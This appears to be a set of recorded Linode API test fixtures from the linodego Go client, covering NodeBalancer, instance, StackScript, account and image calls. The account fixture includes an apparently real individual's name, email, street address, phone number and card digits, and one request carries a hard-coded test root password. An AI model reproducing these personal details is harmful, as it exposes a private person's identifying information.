"proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 357847, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357847/configs/550599 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357847 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleCreateNodeBalancerNode.yaml000066400000000000000000000467071455402072200332400ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"region":"us-southeast","client_conn_throttle":20,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 357848, "label": "balancer357848", "region": "us-southeast", "hostname": "66-228-63-200.ip.linodeusercontent.com", "ipv4": "66.228.63.200", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "342" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357848/configs method: POST response: body: '{"id": 550600, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 31, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 357848, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-southeast","type":"g6-nanode-1","label":"nodebalancer-example-instance","root_pass":"R34lBAdP455!!!","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 46624769, "label": "nodebalancer-example-instance", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.57.74"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-southeast", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "fb926254fc1ebd19daf0c3cf5b05cf55838da099"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "727" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46624769/ips method: POST response: body: '{"address": "192.168.200.144", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 46624769, "region": "us-southeast"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "189" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.200.144:80","label":"node-192.168.200.144"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes method: POST response: body: '{"id": 483260124, "address": "192.168.200.144:80", "label": "node-192.168.200.144", "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 550600, "nodebalancer_id": 357848}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.200.144:8080","label":"node-192.168.200.144","weight":50,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes/483260124 method: PUT response: body: '{"id": 483260124, "address": "192.168.200.144:8080", "label": "node-192.168.200.144", "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 550600, "nodebalancer_id": 357848}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "186" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes method: GET response: body: '{"data": [{"id": 483260124, "address": "192.168.200.144:8080", "label": "node-192.168.200.144", "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 550600, "nodebalancer_id": 357848}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "235" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes/483260124 method: GET response: body: '{"id": 483260124, "address": "192.168.200.144:8080", "label": "node-192.168.200.144", "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 550600, "nodebalancer_id": 357848}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "186" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes/483260124 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/357848 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46624769 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleCreateStackscript.yaml000066400000000000000000000245671455402072200324070ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143","description":"description for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision 1","script":"#!/bin/bash\n"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts method: POST response: body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a", "label": "example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143", "description": "description for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 1", "script": "#!/bin/bash\n", "user_defined_fields": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "600" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - stackscripts:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143","description":"description for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision 2","script":"#!/bin/bash\necho 2\n"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts/1186275 method: PUT response: body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a", "label": "2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143", "description": "description for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 2", "script": "#!/bin/bash\necho 2\n", "user_defined_fields": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "610" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - stackscripts:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"3 2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143","description":"description for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision 3","script":"#!/bin/bash\necho 2\necho 3\n"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts/1186275 method: PUT response: body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a", "label": "3 2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143", "description": "description for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 3", "script": "#!/bin/bash\necho 2\necho 3\n", "user_defined_fields": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "620" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - stackscripts:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts/1186275 method: GET response: body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a", "label": "3 2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143", "description": "description for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9", "linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "revision 3", "script": "#!/bin/bash\necho 2\necho 3\n", "user_defined_fields": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "620" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - stackscripts:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts/1186275 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - stackscripts:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleGetAccount.yaml000066400000000000000000000042351455402072200310130ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account method: GET response: body: '{"company": "Linode", "email": "lgarber@linode.com", "first_name": "Lena", "last_name": "Garber", "address_1": "2228 Lenox Ridge Ct NE", "address_2": "NA", "city": "Atlanta", "state": "GA", "zip": "30319", "country": "US", "phone": "6787613864", "balance": 0.0, "tax_id": "", "billing_source": "linode", "credit_card": {"last_four": "1488", "expiry": "02/2022"}, "balance_uninvoiced": 0.0, "active_since": "2018-01-02T03:04:05", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "LKE HA Control Planes", "Machine Images", "Managed Databases"], "active_promotions": [], "euuid": "590F6313-2E4D-47CE-90943D2F724A87CB"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "687" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleGetImage_missing.yaml000066400000000000000000000020731455402072200321700ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/not-found method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleGetKernel_specific.yaml000066400000000000000000000064121455402072200325030ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev 